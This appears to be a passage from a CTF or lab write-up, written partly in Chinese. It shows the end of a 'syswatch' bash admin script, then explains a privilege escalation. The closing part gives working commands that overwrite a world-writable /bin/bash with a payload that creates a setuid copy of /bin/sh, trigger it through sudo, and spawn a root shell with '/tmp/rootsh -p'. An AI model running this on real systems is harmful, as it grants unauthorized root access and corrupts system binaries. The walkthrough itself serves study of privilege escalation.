    files=$(ls -1 "$PLUGIN_DIR" 2>/dev/null | grep -E '^.+\.sh$' || true)
    [ -z "${files:-}" ] && return
    while IFS= read -r f; do
        [ -z "$f" ] && continue
        local skip=0
        for ex in "${LIST_EXCLUDE[@]}"; do
            if [ "$f" = "$ex" ]; then
                skip=1
                break
            fi
        done
        [ "$skip" -eq 1 ] && continue
        echo " - $f"
    done <<< "$files"
}

view_logs() {
    local arg="${1:-}"

    # ---- LIST MODE ----
    if [ "$arg" = "--list" ] || [ "$arg" = "list" ]; then
        local found=0
        for p in "$LOG_DIR"/*.log; do
            [ -e "$p" ] || continue
            [ -L "$p" ] && continue       # skip symlinks in list
            [ -f "$p" ] || continue
            echo " - $(basename "$p")"
            found=1
        done
        [ "$found" -eq 0 ] && echo "[No logs found]"
        return
    fi

    # FILE NAME VALIDATION
    local file="${arg:-system.log}"
    if [[ ! "$file" =~ $SAFE_LOG_REGEX ]]; then
        echo "[Invalid log filename]: $file"
        return 1
    fi

    local path="$LOG_DIR/$file"
    if [ -L "$path" ]; then
        local target
        target=$(ls -l "$path" | awk '{print $NF}')

        if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then
            echo "[Blocked unsafe symlink target]: $file -> $target"
            return 1
        fi

        if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
            local resolved="$LOG_DIR/$target"
            if [ -f "$resolved" ]; then
                cat "$resolved"
                return
            else
                echo "[Symlink target not found]: $file -> $target"
                return 1
            fi
        fi

        if [[ "$target" == /var/log/* ]]; then
            [ -f "$target" ] && cat "$target" && return
            echo "[Symlink target not regular file]: $file -> $target"
            return 1
        fi

        echo "[Refusing unsafe symlink]: $file -> $target"
        return 1
    fi

    if [[ "$file" == */* || "$file" == *".."* ]]; then
        echo "[Blocked unsafe filename]: $file"
        return 1
    fi

    if [ -f "$path" ]; then
        cat "$path"
    else
        echo "[Log file not found]: $file"
    fi
}

usage() {
    echo "SysWatch $VERSION"
    echo "Usage: $0 <command> [args]"
    echo "Commands:"
    echo "  web                 Start web GUI"
    echo "  web-stop            Stop web GUI"
    echo "  web-restart         Restart web GUI"
    echo "  web-status          Show web GUI status"
    echo "  plugin <name> [args] Execute plugin"
    echo "  plugins             List available plugins"
    echo "  logs <file>         View log file"
    echo "  logs --list         List available log files"
    echo "  --version           Show version"
    echo "  --help|-h|help      Show this help"
}

main() {
    case "${1:-}" in
        web) start_web ;;
        web-stop) stop_web ;;
        web-restart|web-reload) reload_web ;;
        web-status) status_web ;;
        plugin) shift; execute_plugin "$@" ;;
        plugins) list_plugins ;;
        logs) shift; view_logs "$@" ;;
        --version) echo "$VERSION" ;;
        help|--help|-h) usage ;;
        *)
            usage
            ;;
    esac
}

if [ "$(id -u)" -eq 0 ]; then
    main "$@"
else
    if [[ "${1:-}" == "logs" ]]; then
        main "$@"
    else
        echo "Access denied. Root required for this action." >&2
        exit 1
    fi
fi

分析脚本可以得到一个漏洞:

# syswatch.sh 里是:
bash "$fullpath" "$@"

# 不是:
/usr/bin/bash "$fullpath" "$@"

不写绝对路径,系统就会按 $PATH 顺序查找 bash,第一个找到的就是 /bin/bash(即 /usr/bin/bash)。

ls -la /bin/bash
ls -la /usr/bin/bash
# -rwxrwxrwx 1 root root 1446024 Mar 31  2024 /bin/bash
# -rwxrwxrwx 1 root root 1446024 Mar 31  2024 /usr/bin/bash
# 直接覆盖 bash 为恶意脚本
cp /bin/bash /tmp/bash.bak  # 先备份

cat > /tmp/evil.sh << 'EOF'
#!/bin/sh
cp /bin/sh /tmp/rootsh
chmod +s /tmp/rootsh
EOF

#切换到sh,防止bash掉线
sh
killall -9 bash

# 覆盖 bash
chmod +x /tmp/evil.sh
cp /tmp/evil.sh /bin/bash

# 触发(syswatch.sh 调用 bash,以 root 执行)
sudo /opt/syswatch/syswatch.sh plugin cpu_mem_monitor.sh

# 检查结果
ls -la /tmp/rootsh
/tmp/rootsh -p